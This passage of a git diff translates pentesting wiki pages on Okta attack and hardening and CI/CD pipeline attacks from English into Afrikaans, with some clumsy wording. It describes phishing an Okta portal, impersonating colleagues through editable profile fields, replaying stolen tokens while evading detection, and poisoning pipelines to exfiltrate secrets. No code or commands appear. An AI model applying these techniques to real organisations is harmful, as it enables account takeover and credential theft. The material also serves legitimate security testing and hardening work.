te pas. Die suksesvolle uitvoering van hierdie stappe stel in staat om as enige Okta gebruiker te verifieer, wat die behoefte aan individuele gebruikerswagwoorde omseil, wat toegangbeheer in 'n potensieel onopgemerkte manier aansienlik verhoog. -### Phishing Okta Portal with Evilgnix +### Phishing Okta Portaal met Evilgnix -In [**this blog post**](https://medium.com/nickvangilder/okta-for-red-teamers-perimeter-edition-c60cb8d53f23) word verduidelik hoe om 'n phishing veldtog teen 'n Okta portaal voor te berei. +In [**hierdie blogpos**](https://medium.com/nickvangilder/okta-for-red-teamers-perimeter-edition-c60cb8d53f23) word verduidelik hoe om 'n phishing veldtog teen 'n Okta portaal voor te berei. -### Colleague Impersonation Attack +### Kollega Imersonasie Aanval -Die **kenmerke wat elke gebruiker kan hê en wysig** (soos e-pos of voornaam) kan in Okta geconfigureer word. As 'n **toepassing** **vertrou** as ID 'n **kenmerk** wat die gebruiker kan **wysig**, sal hy in staat wees om **ander gebruikers in daardie platform na te doen**. +Die **kenmerke wat elke gebruiker kan hê en wysig** (soos e-pos of voornaam) kan in Okta geconfigureer word. As 'n **toepassing** as ID 'n **kenmerk** vertrou wat die gebruiker kan **wysig**, sal hy in staat wees om **ander gebruikers in daardie platform te imiteer**. -Daarom, as die app die veld **`userName`** vertrou, sal jy waarskynlik nie in staat wees om dit te verander nie (omdat jy gewoonlik nie daardie veld kan verander nie), maar as dit vertrou byvoorbeeld **`primaryEmail`** kan jy dalk **dit na 'n kollega se e-pos adres verander** en dit na doen (jy sal toegang tot die e-pos moet hê en die verandering moet aanvaar). +Daarom, as die app die veld **`userName`** vertrou, sal jy waarskynlik nie in staat wees om dit te verander nie (omdat jy gewoonlik nie daardie veld kan verander nie), maar as dit vertrou byvoorbeeld **`primaryEmail`** kan jy dalk **dit na 'n kollega se e-posadres verander** en dit imiteer (jy sal toegang tot die e-pos moet hê en die verandering moet aanvaar). -Let daarop dat hierdie nabootsing afhang van hoe elke toepassing geconfigureer is. Slegs diegene wat die veld wat jy gewysig het vertrou en opdaterings aanvaar, sal gekompromitteer word.\ +Let daarop dat hierdie imersonasie afhang van hoe elke toepassing geconfigureer is. Slegs diegene wat die veld wat jy gewysig het vertrou en opdaterings aanvaar, sal gekompromitteer word.\ Daarom moet die app hierdie veld geaktiveer hê as dit bestaan:
-Ek het ook ander toepassings gesien wat kwesbaar was maar nie daardie veld in die Okta instellings gehad het nie (aan die einde is verskillende toepassings anders geconfigureer). +Ek het ook ander apps gesien wat kwesbaar was maar nie daardie veld in die Okta instellings gehad het nie (aan die einde is verskillende apps anders geconfigureer). -Die beste manier om uit te vind of jy iemand op elke app kan naboots, sal wees om dit te probeer! +Die beste manier om uit te vind of jy iemand op elke app kan imiteer, is om dit te probeer! -## Evading behavioural detection policies +## Ontwyking van gedragsdeteksiebeleide -Gedragsdeteksiebeleide in Okta mag onbekend wees totdat dit teëgekom word, maar **omseiling** daarvan kan bereik word deur **Okta toepassings direk te teiken**, wat die hoof Okta dashboard vermy. Met 'n **Okta toegangstoken**, herhaal die token by die **toepassing-spesifieke Okta URL** in plaas van die hoof aanmeldblad. +Gedragsdeteksiebeleide in Okta mag onbekend wees totdat dit teëgekom word, maar **omseiling** daarvan kan bereik word deur **direk op Okta toepassings te teiken**, en die hoof Okta dashboard te vermy. Met 'n **Okta toegangstoken**, herhaal die token by die **toepassing-spesifieke Okta URL** in plaas van die hoof aanmeldblad. Belangrike aanbevelings sluit in: -- **Vermy die gebruik van** gewilde anonymiseringsproxies en VPN-dienste wanneer jy vasgevange toegangstokens herhaal. +- **Vermy die gebruik van** gewilde anonymiseringsproxies en VPN-dienste wanneer jy gevangenis toegangstokens herhaal. - Verseker **konstante gebruikers-agent strings** tussen die kliënt en herhaalde toegangstokens. -- **Wees versigtig om tokens** van verskillende gebruikers vanaf dieselfde IP-adres te herhaal. +- **Vermy die herhaling van** tokens van verskillende gebruikers vanaf dieselfde IP-adres. - Wees versigtig wanneer jy tokens teen die Okta dashboard herhaal. -- As jy bewus is van die slagoffer maatskappy se IP-adresse, **beperk verkeer** na daardie IP's of hul reeks, en blokkeer alle ander verkeer. +- As jy bewus is van die slagoffer maatskappy se IP-adresse, **beperk verkeer** tot daardie IP's of hul reeks, en blokkeer alle ander verkeer. -## Okta Hardening +## Okta Versterking Okta het baie moontlike konfigurasies, op hierdie bladsy sal jy vind hoe om dit te hersien sodat dit so veilig as moontlik is: @@ -106,7 +106,7 @@ Okta het baie moontlike konfigurasies, op hierdie bladsy sal jy vind hoe om dit okta-hardening.md {{#endref}} -## References +## Verwysings - [https://trustedsec.com/blog/okta-for-red-teamers](https://trustedsec.com/blog/okta-for-red-teamers) - [https://medium.com/nickvangilder/okta-for-red-teamers-perimeter-edition-c60cb8d53f23](https://medium.com/nickvangilder/okta-for-red-teamers-perimeter-edition-c60cb8d53f23) diff --git a/src/pentesting-ci-cd/okta-security/okta-hardening.md b/src/pentesting-ci-cd/okta-security/okta-hardening.md index 5ca5a88f5..faf653f8e 100644 --- a/src/pentesting-ci-cd/okta-security/okta-hardening.md +++ b/src/pentesting-ci-cd/okta-security/okta-hardening.md @@ -1,49 +1,49 @@ -# Okta Hardening +# Okta Hardeer {{#include ../../banners/hacktricks-training.md}} -## Directory +## Gids -### People +### Mense -Vanuit 'n aanvaller se perspektief is dit baie interessant omdat jy **alle geregistreerde gebruikers** kan sien, hul **e-pos** adresse, die **groepe** waarvan hulle deel is, **profiele** en selfs **toestelle** (mobiele saam met hul OS's). +Van 'n aanvaller se perspektief is dit baie interessant omdat jy **alle geregistreerde gebruikers** kan sien, hul **e-pos** adresse, die **groepe** waarvan hulle deel is, **profiele** en selfs **toestelle** (mobiele saam met hul OS's). -Vir 'n whitebox hersiening, kyk dat daar nie verskeie "**Wagtende gebruiker aksie**" en "**Wagwoord herstel**" is nie. +Vir 'n whitebox hersiening, kyk dat daar nie verskeie "**Wagtende gebruikersaksie**" en "**Wagwoord herstel**" is nie. -### Groups +### Groepe Hier vind jy al die geskepte groepe in Okta. Dit is interessant om die verskillende groepe (stel van **toestemmings**) te verstaan wat aan **gebruikers** toegeken kan word.\ Dit is moontlik om die **mense ingesluit in groepe** en **apps toegeken** aan elke groep te sien. Natuurlik is enige groep met die naam **admin** interessant, veral die groep **Global Administrators,** kyk na die lede om te leer wie die mees bevoorregte lede is. -Vanuit 'n whitebox hersiening, daar **moet nie meer as 5 globale admins wees nie** (beter as daar net 2 of 3 is). +Van 'n whitebox hersiening, daar **moet nie meer as 5 globale admins wees nie** (beter as daar net 2 of 3 is). -### Devices +### Toestelle Vind hier 'n **lys van al die toestelle** van al die gebruikers. Jy kan ook sien of dit **aktief bestuur** word of nie. -### Profile Editor +### Profielredigeerder -Hier is dit moontlik om te observeer hoe sleutel-inligting soos voorname, vanname, e-pos, gebruikersname... tussen Okta en ander toepassings gedeel word. Dit is interessant omdat as 'n gebruiker **'n veld in Okta kan wysig** (soos sy naam of e-pos) wat dan deur 'n **eksterne toepassing** gebruik word om die gebruiker te **identifiseer**, kan 'n insider probeer om **ander rekeninge oor te neem**. +Hier is dit moontlik om te observeer hoe sleutel-inligting soos voorname, vanname, e-posse, gebruikersname... tussen Okta en ander toepassings gedeel word. Dit is interessant omdat as 'n gebruiker **'n veld in Okta kan wysig** (soos sy naam of e-pos) wat dan deur 'n **eksterne toepassing** gebruik word om die gebruiker te **identifiseer**, kan 'n insider probeer om **ander rekeninge oor te neem**. Boonop, in die profiel **`User (default)`** van Okta kan jy **watter velde** elke **gebruiker** het en watter een **skryfbaar** is deur gebruikers. As jy nie die admin paneel kan sien nie, gaan net na **opdateer jou profiel** inligting en jy sal sien watter velde jy kan opdateer (let daarop dat jy 'n e-pos adres moet verifieer om dit op te dateer). -### Directory Integrations +### Gids Integrasies -Gidsen laat jou toe om mense van bestaande bronne te importeer. Ek raai hier sal jy die gebruikers sien wat van ander gidse geïmporteer is. +Gidse laat jou toe om mense van bestaande bronne te importeer. Ek raai hier sal jy die gebruikers sien wat van ander gidse geïmporteer is. Ek het dit nie gesien nie, maar ek raai dit is interessant om uit te vind **ander gidse wat Okta gebruik om gebruikers te importeer** sodat as jy **daardie gids kompromitteer** kan jy sekere attribuutwaardes in die gebruikers geskep in Okta stel en **miskien die Okta omgewing kompromitteer**. -### Profile Sources +### Profielbronne 'n Profielbron is 'n **toepassing wat as 'n bron van waarheid** vir gebruikersprofielattribuut dien. 'n Gebruiker kan slegs deur 'n enkele toepassing of gids op 'n slag verkry word. Ek het dit nie gesien nie, so enige inligting oor sekuriteit en hacking rakende hierdie opsie word waardeer. -## Customizations +## Pasmaak -### Brands +### Handelsmerke Kyk in die **Domeine** oortjie van hierdie afdeling die e-pos adresse wat gebruik word om e-posse te stuur en die pasgemaakte domein binne Okta van die maatskappy (wat jy waarskynlik al weet). @@ -53,21 +53,21 @@ Boonop, in die **Instelling** oortjie, as jy admin is, kan jy "**Gebruik 'n pasg Niks interessant hier nie. -### End-User Dashboard +### Eindgebruiker Dashboard Jy kan hier toepassings vind wat geconfigureer is, maar ons sal die besonderhede van daardie later in 'n ander afdeling sien. -### Other +### Ander -Interessante instelling, maar niks super interessant vanuit 'n sekuriteitsoogpunt nie. +Interessante instelling, maar niks super interessant van 'n sekuriteitsoogpunt nie. -## Applications +## Toepassings -### Applications +### Toepassings -Hier kan jy al die **geconfigureerde toepassings** en hul besonderhede vind: Wie toegang tot hulle het, hoe dit geconfigureer is (SAML, OPenID), URL om aan te meld, die mappings tussen Okta en die toepassing... +Hier kan jy al die **geconfigureerde toepassings** en hul besonderhede vind: Wie toegang tot hulle het, hoe dit geconfigureer is (SAML, OpenID), URL om aan te meld, die kaarte tussen Okta en die toepassing... -In die **`Sign On`** oortjie is daar ook 'n veld genaamd **`Password reveal`** wat 'n gebruiker sou toelaat om sy **wagwoord te onthul** wanneer hy die toepassingsinstellings nagaan. Om die instellings van 'n toepassing vanaf die Gebruiker Paneel te kontroleer, klik op die 3 punte: +In die **`Teken Aan`** oortjie is daar ook 'n veld genaamd **`Wagwoord onthul`** wat 'n gebruiker sou toelaat om sy **wagwoord te onthul** wanneer hy die toepassingsinstellings nagaan. Om die instellings van 'n toepassing vanaf die Gebruiker Paneel te kontroleer, klik op die 3 punte:
@@ -75,34 +75,34 @@ En jy kan 'n paar meer besonderhede oor die app sien (soos die wagwoord onthul f
-## Identity Governance +## Identiteit Bestuur -### Access Certifications +### Toegang Sertifisering -Gebruik Toegang Sertifikasies om ouditveldtogte te skep om jou gebruikers se toegang tot hulpbronne periodiek te hersien en toegang outomaties goed te keur of te herroep wanneer nodig. +Gebruik Toegang Sertifisering om ouditveldtogte te skep om jou gebruikers se toegang tot hulpbronne periodiek te hersien en toegang outomaties goed te keur of te herroep wanneer nodig. -Ek het dit nie gesien nie, maar ek raai dat dit vanuit 'n defensiewe perspektief 'n mooi funksie is. +Ek het dit nie gesien nie, maar ek raai dat dit van 'n defensiewe oogpunt 'n mooi kenmerk is. -## Security +## Sekuriteit -### General +### Algemeen -- **Sekuriteits kennisgewing e-posse**: Alle moet geaktiveer wees. +- **Sekuriteitskennisgewing e-posse**: Alles moet geaktiveer wees. - **CAPTCHA integrasie**: Dit word aanbeveel om ten minste die onsigbare reCaptcha in te stel. - **Organisasie Sekuriteit**: Alles kan geaktiveer word en aktivering e-posse moet nie lank neem nie (7 dae is reg). - **Gebruiker enumerasie voorkoming**: Albei moet geaktiveer wees. - Let daarop dat Gebruiker Enumerasie Voorkoming nie in werking tree as enige van die volgende toestande toegelaat word nie (sien [Gebruiker bestuur](https://help.okta.com/oie/en-us/Content/Topics/users-groups-profiles/usgp-main.htm) vir meer inligting): - Selfdiens Registrasie -- JIT vloei met e-pos verifikasie +- JIT vloei met e-posverifikasie - **Okta ThreatInsight instellings**: Log en handhaaf sekuriteit gebaseer op bedreigingsvlak. ### HealthInsight Hier is dit moontlik om korrek en **gevaarlike** geconfigureerde **instellings** te vind. -### Authenticators +### Autentiseerders -Hier kan jy al die autentikasie metodes vind wat 'n gebruiker kan gebruik: Wagwoord, telefoon, e-pos, kode, WebAuthn... Klik op die Wagwoord autentiseerder en jy kan die **wagwoord beleid** sien. Kyk dat dit sterk is. +Hier kan jy al die autentiseringmetodes vind wat 'n gebruiker kan gebruik: Wagwoord, telefoon, e-pos, kode, WebAuthn... Deur op die Wagwoord autentiseerder te klik kan jy die **wagwoord beleid** sien. Kyk dat dit sterk is. In die **Registrasie** oortjie kan jy sien hoe diegene wat vereis of opsioneel is: @@ -110,13 +110,13 @@ In die **Registrasie** oortjie kan jy sien hoe diegene wat vereis of opsioneel i Dit word aanbeveel om Telefoon te deaktiveer. Die sterkste is waarskynlik 'n kombinasie van wagwoord, e-pos en WebAuthn. -### Authentication policies +### Autentisering beleid -Elke app het 'n autentikasiebeleid. Die autentikasiebeleid verifieer dat gebruikers wat probeer om in te teken op die app aan spesifieke voorwaardes voldoen, en dit handhaaf faktor vereistes gebaseer op daardie voorwaardes. +Elke app het 'n autentisering beleid. Die autentisering beleid verifieer dat gebruikers wat probeer om in te teken op die app aan spesifieke voorwaardes voldoen, en dit handhaaf faktor vereistes gebaseer op daardie voorwaardes. -Hier kan jy die **vereistes om toegang tot elke toepassing** te verkry vind. Dit word aanbeveel om ten minste wagwoord en 'n ander metode vir elke toepassing te vra. Maar as jy as aanvaller iets meer swak vind, kan jy dalk dit aanval. +Hier kan jy die **vereistes om toegang tot elke toepassing** te verkry. Dit word aanbeveel om ten minste wagwoord en 'n ander metode vir elke toepassing te vra. Maar as 'n aanvaller vind jy iets meer swak, kan jy dalk dit aanval. -### Global Session Policy +### Globale Sessie Beleid Hier kan jy die sessiebeleide vind wat aan verskillende groepe toegeken is. Byvoorbeeld: @@ -124,75 +124,75 @@ Hier kan jy die sessiebeleide vind wat aan verskillende groepe toegeken is. Byvo Dit word aanbeveel om MFA te vra, die sessie lewensduur tot 'n paar ure te beperk, nie sessie koekies oor blaaiers te persisteer nie en die ligging en Identiteitsverskaffer te beperk (as dit moontlik is). Byvoorbeeld, as elke gebruiker van 'n land moet aanmeld, kan jy net hierdie ligging toelaat. -### Identity Providers +### Identiteitsverskaffers Identiteitsverskaffers (IdPs) is dienste wat **gebruikersrekeninge bestuur**. Om IdPs in Okta by te voeg, stel jou eindgebruikers in staat om **self te registreer** met jou pasgemaakte toepassings deur eers met 'n sosiale rekening of 'n slimkaart te autentiseer. -Op die Identiteitsverskaffers bladsy kan jy sosiale aanmeldings (IdPs) byvoeg en Okta as 'n diensverskaffer (SP) configureer deur inkomende SAML by te voeg. Nadat jy IdPs bygevoeg het, kan jy roeteringsreëls opstel om gebruikers na 'n IdP te lei gebaseer op konteks, soos die gebruiker se ligging, toestel of e-pos domein. +Op die Identiteitsverskaffers bladsy kan jy sosiale aanmeldings (IdPs) byvoeg en Okta as 'n diensverskaffer (SP) configureer deur inkomende SAML by te voeg. Nadat jy IdPs bygevoeg het, kan jy roeteringsreëls opstel om gebruikers na 'n IdP te lei gebaseer op konteks, soos die gebruiker se ligging, toestel of e-posdomein. -**As enige identiteitsverskaffer geconfigureer is** vanuit 'n aanvaller en verdediger se perspektief, kyk daardie konfigurasie en **of die bron regtig betroubaar is** aangesien 'n aanvaller wat dit kompromitteer ook toegang tot die Okta omgewing kan kry. +**As enige identiteitsverskaffer geconfigureer is** van 'n aanvaller en verdediger se perspektief, kyk daardie konfigurasie en **of die bron regtig betroubaar is** aangesien 'n aanvaller wat dit kompromitteer ook toegang tot die Okta omgewing kan kry. -### Delegated Authentication +### Geleende Autentisering -Gedelegeerde autentikasie laat gebruikers toe om in te teken op Okta deur inligting vir hul organisasie se **Active Directory (AD) of LDAP** bediener in te voer. +Geleende autentisering laat gebruikers toe om in te teken op Okta deur inlogbesonderhede vir hul organisasie se **Active Directory (AD) of LDAP** bediener in te voer. Weereens, herkontroleer dit, aangesien 'n aanvaller wat 'n organisasie se AD kompromitteer, dalk in staat kan wees om na Okta te pivot deur hierdie instelling. -### Network +### Netwerk 'n Netwerk sone is 'n konfigureerbare grens wat jy kan gebruik om **toegang tot rekenaars en toestelle** in jou organisasie te **verleen of te beperk** gebaseer op die **IP adres** wat toegang versoek. Jy kan 'n netwerk sone definieer deur een of meer individuele IP adresse, reekse van IP adresse, of geografiese liggings te spesifiseer. -Nadat jy een of meer netwerk zones gedefinieer het, kan jy **dit in Globale Sessie Beleide**, **autentikasiebeleide**, VPN kennisgewings, en **roeteringsreëls** gebruik. +Nadat jy een of meer netwerk sones gedefinieer het, kan jy **dit in Globale Sessie Beleide**, **autentisering beleide**, VPN kennisgewings, en **roeteringsreëls** gebruik. -Vanuit 'n aanvaller se perspektief is dit interessant om te weet watter Ps toegelaat word (en kyk of enige **IPs meer bevoorreg** is as ander). Vanuit 'n aanvaller se perspektief, as die gebruikers van 'n spesifieke IP adres of streek moet toegang hê, kyk of hierdie funksie behoorlik gebruik word. +Van 'n aanvaller se perspektief is dit interessant om te weet watter IP's toegelaat word (en kyk of enige **IP's meer bevoorreg** is as ander). Van 'n aanvaller se perspektief, as die gebruikers van 'n spesifieke IP adres of streek moet toegang hê, kyk of hierdie funksie behoorlik gebruik word. -### Device Integrations +### Toestel Integrasies -- **Endpoint Management**: Eindpuntbestuur is 'n voorwaarde wat in 'n autentikasiebeleid toegepas kan word om te verseker dat bestuurde toestelle toegang tot 'n toepassing het. +- **Eindpunt Bestuur**: Eindpunt bestuur is 'n voorwaarde wat in 'n autentisering beleid toegepas kan word om te verseker dat bestuurde toestelle toegang tot 'n toepassing het. - Ek het dit nog nie gesien nie. TODO - **Kennisgewing dienste**: Ek het dit nog nie gesien nie. TODO ### API -Jy kan Okta API tokens op hierdie bladsy skep, en diegene sien wat **gecreëer** is, hul **privileges**, **verval** tyd en **Oorsprong URL's**. Let daarop dat 'n API token gegenereer word met die toestemmings van die gebruiker wat die token geskep het en slegs geldig is as die **gebruiker** wat dit geskep het **aktief** is. +Jy kan Okta API tokens op hierdie bladsy skep, en diegene wat **gecreëer** is, hul **privileges**, **verval** tyd en **Oorsprong URL's** sien. Let daarop dat 'n API token gegenereer word met die toestemmings van die gebruiker wat die token geskep het en slegs geldig is as die **gebruiker** wat dit geskep het **aktief** is. Die **Betroubare Oorspronge** verleen toegang tot webwerwe wat jy beheer en vertrou om toegang tot jou Okta org deur die Okta API te verkry. -Daar moet nie baie API tokens wees nie, aangesien as daar is, kan 'n aanvaller probeer om toegang tot hulle te kry en hulle te gebruik. +Daar moet nie baie API tokens wees nie, aangesien as daar is, kan 'n aanvaller probeer om toegang daartoe te verkry en dit te gebruik. -## Workflow +## Werkvloei -### Automations +### Outomatiserings -Automatiserings laat jou toe om geoutomatiseerde aksies te skep wat loop gebaseer op 'n stel van trigger toestande wat tydens die lewensiklus van eindgebruikers voorkom. +Outomatiserings laat jou toe om outomatiese aksies te skep wat loop gebaseer op 'n stel van trigger voorwaardes wat tydens die lewensiklus van eindgebruikers voorkom. -Byvoorbeeld, 'n toestand kan wees "Gebruiker inaktiwiteit in Okta" of "Gebruiker wagwoord vervaldatum in Okta" en die aksie kan wees "Stuur e-pos aan die gebruiker" of "Verander gebruiker se lewensiklus toestand in Okta". +Byvoorbeeld, 'n voorwaarde kan wees "Gebruiker inaktiwiteit in Okta" of "Gebruiker wagwoord vervaldatum in Okta" en die aksie kan wees "Stuur e-pos aan die gebruiker" of "Verander gebruiker lewensiklus toestand in Okta". -## Reports +## Verslae -### Reports +### Verslae Laai logs af. Hulle word **gestuur** na die **e-pos adres** van die huidige rekening. -### System Log +### Stelsellog Hier kan jy die **logs van die aksies uitgevoer deur gebruikers** vind met baie besonderhede soos aanmelding in Okta of in toepassings deur Okta. -### Import Monitoring +### Invoer Monitering -Dit kan **logs van die ander platforms** wat met Okta toegang het, **importeer**. +Dit kan **logs van die ander platforms** wat met Okta toeganklik is invoer. -### Rate limits +### Tarief beperkings -Kyk die API koers beperkings wat bereik is. +Kyk die API tarief beperkings wat bereik is. -## Settings +## Instellings -### Account +### Rekening -Hier kan jy **generiese inligting** oor die Okta omgewing vind, soos die maatskappy se naam, adres, **e-pos faktuur kontak**, **e-pos tegniese kontak** en ook wie Okta opdaterings moet ontvang en watter soort Okta opdaterings. +Hier kan jy **generiese inligting** oor die Okta omgewing vind, soos die maatskappy se naam, adres, **e-pos faktuur kontak**, **e-pos tegniese kontak** en ook wie Okta opdaterings moet ontvang en watter tipe Okta opdaterings. -### Downloads +### Aflaaie Hier kan jy Okta agente aflaai om Okta met ander tegnologieë te sinkroniseer. diff --git a/src/pentesting-ci-cd/pentesting-ci-cd-methodology.md b/src/pentesting-ci-cd/pentesting-ci-cd-methodology.md index f065fbf50..461c5dda7 100644 --- a/src/pentesting-ci-cd/pentesting-ci-cd-methodology.md +++ b/src/pentesting-ci-cd/pentesting-ci-cd-methodology.md @@ -12,7 +12,7 @@ VCS staan vir **Version Control System**, hierdie stelsels laat ontwikkelaars to - Gitlab - Bitbucket - Gitea -- Cloud verskaffers (hulle bied hul eie VCS-platforms aan) +- Wolkverskaffers (hulle bied hul eie VCS-platforms aan) ## CI/CD Pypelines @@ -25,9 +25,9 @@ Egter, hierdie stelsels moet **ergens uitgevoer word** en gewoonlik met **bevoor > [!NOTE] > Alhoewel sommige VCS-platforms toelaat om pypelines te skep, gaan ons in hierdie afdeling slegs potensiële aanvalle op die beheer van die bronkode analiseer. -Platforms wat die bronkode van jou projek bevat, bevat sensitiewe inligting en mense moet baie versigtig wees met die toestemmings wat binne hierdie platform toegestaan word. Dit is 'n paar algemene probleme oor VCS-platforms wat aanvallers kan misbruik: +Platforms wat die bronkode van jou projek bevat, bevat sensitiewe inligting en mense moet baie versigtig wees met die toestemmings wat binne hierdie platform toegestaan word. Dit is 'n paar algemene probleme oor VCS-platforms wat 'n aanvaller kan misbruik: -- **Lekke**: As jou kode lekke in die verbintenisse bevat en die aanvaller toegang tot die repo kan verkry (omdat dit publiek is of omdat hy toegang het), kan hy die lekke ontdek. +- **Leaks**: As jou kode lekkasies in die verbintenisse bevat en die aanvaller toegang tot die repo kan verkry (omdat dit publiek is of omdat hy toegang het), kan hy die lekkasies ontdek. - **Toegang**: As 'n aanvaller **toegang tot 'n rekening binne die VCS-platform** kan verkry, kan hy **meer sigbaarheid en toestemmings** verkry. - **Registrasie**: Sommige platforms sal net eksterne gebruikers toelaat om 'n rekening te skep. - **SSO**: Sommige platforms sal nie gebruikers toelaat om te registreer nie, maar sal enigeen toelaat om toegang te verkry met 'n geldige SSO (so 'n aanvaller kan sy github-rekening gebruik om in te gaan byvoorbeeld). @@ -38,18 +38,18 @@ Platforms wat die bronkode van jou projek bevat, bevat sensitiewe inligting en m - **Kode kompromie:** As 'n kwaadwillige akteur 'n soort **skryf** toegang oor die repos het, kan hy probeer om **kwaadwillige kode in te spuit**. Om suksesvol te wees, mag hy moet **tak beskermings omseil**. Hierdie aksies kan met verskillende doelwitte in gedagte uitgevoer word: - Kompromitteer die hooftak om **produksie te kompromitteer**. - Kompromitteer die hoof (of ander takke) om **ontwikkelaars se masjiene te kompromitteer** (aangesien hulle gewoonlik toets, terraform of ander dinge binne die repo op hul masjiene uitvoer). -- **Kompromitteer die pypeline** (kyk na die volgende afdeling) +- **Kompromitteer die pypeline** (kyk na die volgende afdeling). ## Pypelines Pentesting Metodologie -Die mees algemene manier om 'n pypeline te definieer, is deur 'n **CI-konfigurasie lêer wat in die repo gehos is** te gebruik. Hierdie lêer beskryf die volgorde van uitgevoerde werksgeleenthede, toestande wat die vloei beïnvloed, en bou omgewing instellings.\ -Hierdie lêers het tipies 'n konsekwente naam en formaat, byvoorbeeld — Jenkinsfile (Jenkins), .gitlab-ci.yml (GitLab), .circleci/config.yml (CircleCI), en die GitHub Actions YAML-lêers wat onder .github/workflows geleë is. Wanneer geaktiveer, **trek die pypeline werk** die kode van die geselekteerde bron (bv. verbintenis / tak), en **voert die opdragte uit wat in die CI-konfigurasie lêer gespesifiseer is** teen daardie kode. +Die mees algemene manier om 'n pypeline te definieer, is deur 'n **CI-konfigurasie lêer wat in die repo gehos is** te gebruik. Hierdie lêer beskryf die volgorde van uitgevoerde take, toestande wat die vloei beïnvloed, en bouomgewinginstellings.\ +Hierdie lêers het tipies 'n konsekwente naam en formaat, byvoorbeeld — Jenkinsfile (Jenkins), .gitlab-ci.yml (GitLab), .circleci/config.yml (CircleCI), en die GitHub Actions YAML-lêers wat onder .github/workflows geleë is. Wanneer geaktiveer, **trek die pypeline-taak die kode** van die geselekteerde bron (bv. verbintenis / tak), en **voert die opdragte wat in die CI-konfigurasie lêer gespesifiseer is** teen daardie kode uit. Daarom is die uiteindelike doel van die aanvaller om op een of ander manier **daardie konfigurasie lêers** of die **opdragte wat hulle uitvoer** te **kompromitteer**. ### PPE - Gevulde Pypeline Uitvoering -Die Gevulde Pypeline Uitvoering (PPE) pad benut toestemmings in 'n SCM-repo om 'n CI-pypeline te manipuleer en skadelike opdragte uit te voer. Gebruikers met die nodige toestemmings kan CI-konfigurasie lêers of ander lêers wat deur die pypeline werk gebruik word, wysig om kwaadwillige opdragte in te sluit. Dit "vervuil" die CI-pypeline, wat lei tot die uitvoering van hierdie kwaadwillige opdragte. +Die Gevulde Pypeline Uitvoering (PPE) pad misbruik toestemmings in 'n SCM-repo om 'n CI-pypeline te manipuleer en skadelike opdragte uit te voer. Gebruikers met die nodige toestemmings kan CI-konfigurasie lêers of ander lêers wat deur die pypeline-taak gebruik word, wysig om kwaadwillige opdragte in te sluit. Dit "vervuil" die CI-pypeline, wat lei tot die uitvoering van hierdie kwaadwillige opdragte. Vir 'n kwaadwillige akteur om suksesvol 'n PPE-aanval uit te voer, moet hy in staat wees om: @@ -58,24 +58,24 @@ Vir 'n kwaadwillige akteur om suksesvol 'n PPE-aanval uit te voer, moet hy in st - Selfs as hy skryf toestemmings het, moet hy seker wees dat hy die **CI konfigurasie lêer of ander lêers waarop die konfigurasie staatmaak** kan **wysig**. - Hiervoor mag hy moet in staat wees om **tak beskermings om te seil**. -Daar is 3 PPE variasies: +Daar is 3 PPE geure: - **D-PPE**: 'n **Direkte PPE** aanval vind plaas wanneer die akteur die **CI konfigurasie** lêer wat gaan uitgevoer word, **wysig**. -- **I-DDE**: 'n **Indirekte PPE** aanval vind plaas wanneer die akteur 'n **lêer** wat die CI konfigurasie lêer wat gaan uitgevoer word, **afhang** (soos 'n make-lêer of 'n terraform konfigurasie). +- **I-DDE**: 'n **Indirekte PPE** aanval vind plaas wanneer die akteur 'n **lêer** wat die CI konfigurasie lêer wat gaan uitgevoer word, **afhang** van, **wysig** (soos 'n make-lêer of 'n terraform konfigurasie). - **Publieke PPE of 3PE**: In sommige gevalle kan die pypelines **geaktiveer word deur gebruikers wat nie skryf toegang in die repo het nie** (en wat dalk nie eens deel van die org is nie) omdat hulle 'n PR kan stuur. -- **3PE Opdrag Inspuiting**: Gewoonlik sal CI/CD pypelines **omgewing veranderlikes** met **inligting oor die PR** stel. As daardie waarde deur 'n aanvaller beheer kan word (soos die titel van die PR) en is **gebruik** in 'n **gevaarlike plek** (soos die uitvoering van **sh opdragte**), kan 'n aanvaller **opdragte daar in spuit**. +- **3PE Opdrag Inspuiting**: Gewoonlik sal CI/CD pypelines **omgewing veranderlikes stel** met **inligting oor die PR**. As daardie waarde deur 'n aanvaller beheer kan word (soos die titel van die PR) en **gebruik** word in 'n **gevaarlike plek** (soos die uitvoering van **sh opdragte**), kan 'n aanvaller **opdragte daar in spuit**. ### Exploitatie Voordele -Om die 3 variasies om 'n pypeline te vervuil te ken, laat ons kyk wat 'n aanvaller kan verkry na 'n suksesvolle eksploitatie: +Om die 3 geure te ken om 'n pypeline te vervuil, laat ons kyk wat 'n aanvaller kan verkry na 'n suksesvolle uitbuiting: -- **Geheime**: Soos voorheen genoem, vereis pypelines **bevoegdhede** vir hul werksgeleenthede (om die kode te verkry, dit te bou, dit te ontplooi...) en hierdie bevoegdhede word gewoonlik **in geheime toegestaan**. Hierdie geheime is gewoonlik toeganklik via **omgewing veranderlikes of lêers binne die stelsel**. Daarom sal 'n aanvaller altyd probeer om soveel geheime as moontlik te eksfiltreer. +- **Geheime**: Soos voorheen genoem, vereis pypelines **bevoegdhede** vir hul take (om die kode te verkry, dit te bou, dit te ontplooi...) en hierdie bevoegdhede word gewoonlik **in geheime toegestaan**. Hierdie geheime is gewoonlik toeganklik via **omgewing veranderlikes of lêers binne die stelsel**. Daarom sal 'n aanvaller altyd probeer om soveel geheime as moontlik te eksfiltreer. - Afhangende van die pypeline platform mag die aanvaller **die geheime in die konfigurasie moet spesifiseer**. Dit beteken dat as die aanvaller nie die CI konfigurasie pypeline kan wysig nie (**I-PPE** byvoorbeeld), kan hy **slegs die geheime wat daardie pypeline het, eksfiltreer**. -- **Berekening**: Die kode word êrens uitgevoer, afhangende van waar dit uitgevoer word, mag 'n aanvaller in staat wees om verder te pivot. +- **Berekening**: Die kode word iewers uitgevoer, afhangende van waar dit uitgevoer word, mag 'n aanvaller in staat wees om verder te pivot. - **On-premises**: As die pypelines op plek uitgevoer word, mag 'n aanvaller eindig in 'n **interne netwerk met toegang tot meer hulpbronne**. -- **Cloud**: Die aanvaller kan toegang verkry tot **ander masjiene in die cloud** maar kan ook **eksfiltreer** IAM rolle/dienste rekeninge **tokens** daarvan om **verdere toegang binne die cloud** te verkry. -- **Platforms masjien**: Soms sal die werksgeleenthede binne die **pypelines platform masjiene** uitgevoer word, wat gewoonlik binne 'n cloud met **geen verdere toegang** is. -- **Kies dit:** Soms sal die **pypelines platform verskeie masjiene geconfigureer hê** en as jy die **CI konfigurasie lêer kan wysig**, kan jy **aangee waar jy die kwaadwillige kode wil uitvoer**. In hierdie situasie sal 'n aanvaller waarskynlik 'n omgekeerde skulp op elke moontlike masjien 